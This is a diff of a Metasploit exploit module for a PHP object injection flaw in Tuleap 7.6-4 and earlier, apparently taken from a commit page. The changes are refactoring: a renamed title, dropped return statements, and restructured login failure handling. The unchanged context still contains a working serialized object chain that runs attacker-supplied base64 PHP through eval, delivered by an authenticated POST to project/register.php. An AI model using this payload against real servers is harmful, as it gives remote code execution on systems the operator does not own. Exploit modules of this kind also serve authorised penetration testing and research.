@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
15
- 'Name' => 'Tuleap unserialize() PHP Code Execution' ,
15
+ 'Name' => 'Tuleap Unserialize PHP Code Execution' ,
16
16
'Description' => %q{
17
17
This module exploits a PHP object injection vulnerability in Tuelap <= 7.6-4 which could be
18
18
abused to allow authenticated users to execute arbitrary code with the permissions of the
@@ -53,7 +53,8 @@ def check
53
53
if res and res . body and res . body . to_s =~ /#{ flag } /
54
54
return Exploit ::CheckCode ::Vulnerable
55
55
end
56
- return Exploit ::CheckCode ::Safe
56
+
57
+ Exploit ::CheckCode ::Safe
57
58
end
58
59
59
60
def do_login ( )
@@ -68,13 +69,12 @@ def do_login()
68
69
'vars_post' => { 'form_loginname' => username , 'form_pw' => password }
69
70
} )
70
71
71
- if res and res . code == 302
72
- print_status ( "#{ peer } - Login successful with #{ username } :#{ password } " )
73
- return res . get_cookies
72
+ unless res && res . code == 302
73
+ fail_with ( Failure ::NoAccess , "#{ peer } - Login failed with #{ username } :#{ password } " )
74
74
end
75
75
76
- print_error ( "#{ peer } - Login failed with #{ username } :#{ password } " )
77
- fail_with ( Failure :: NoAccess , 'Login failed' )
76
+ print_status ( "#{ peer } - Login successful with #{ username } :#{ password } " )
77
+ res . get_cookies
78
78
end
79
79
80
80
def exec_php ( php_code )
@@ -85,7 +85,7 @@ def exec_php(php_code)
85
85
chain << 'a:1:{S:9:"debug_log";a:2:{i:0;O:34:"Transition_PostAction_FieldFactory":1:{S:23:"\00*\00post_actions_classes";'
86
86
chain << 'a:1:{i:0;S:52:"1;eval(base64_decode($_SERVER[HTTP_PAYLOAD]));die;//";}}i:1;S:16:"fetchPostActions";}}}}'
87
87
88
- return send_request_cgi ( {
88
+ send_request_cgi ( {
89
89
'method' => 'POST' ,
90
90
'uri' => normalize_uri ( target_uri . path , 'project/register.php' ) ,
91
91
'cookie' => session_cookies ,
0 commit comments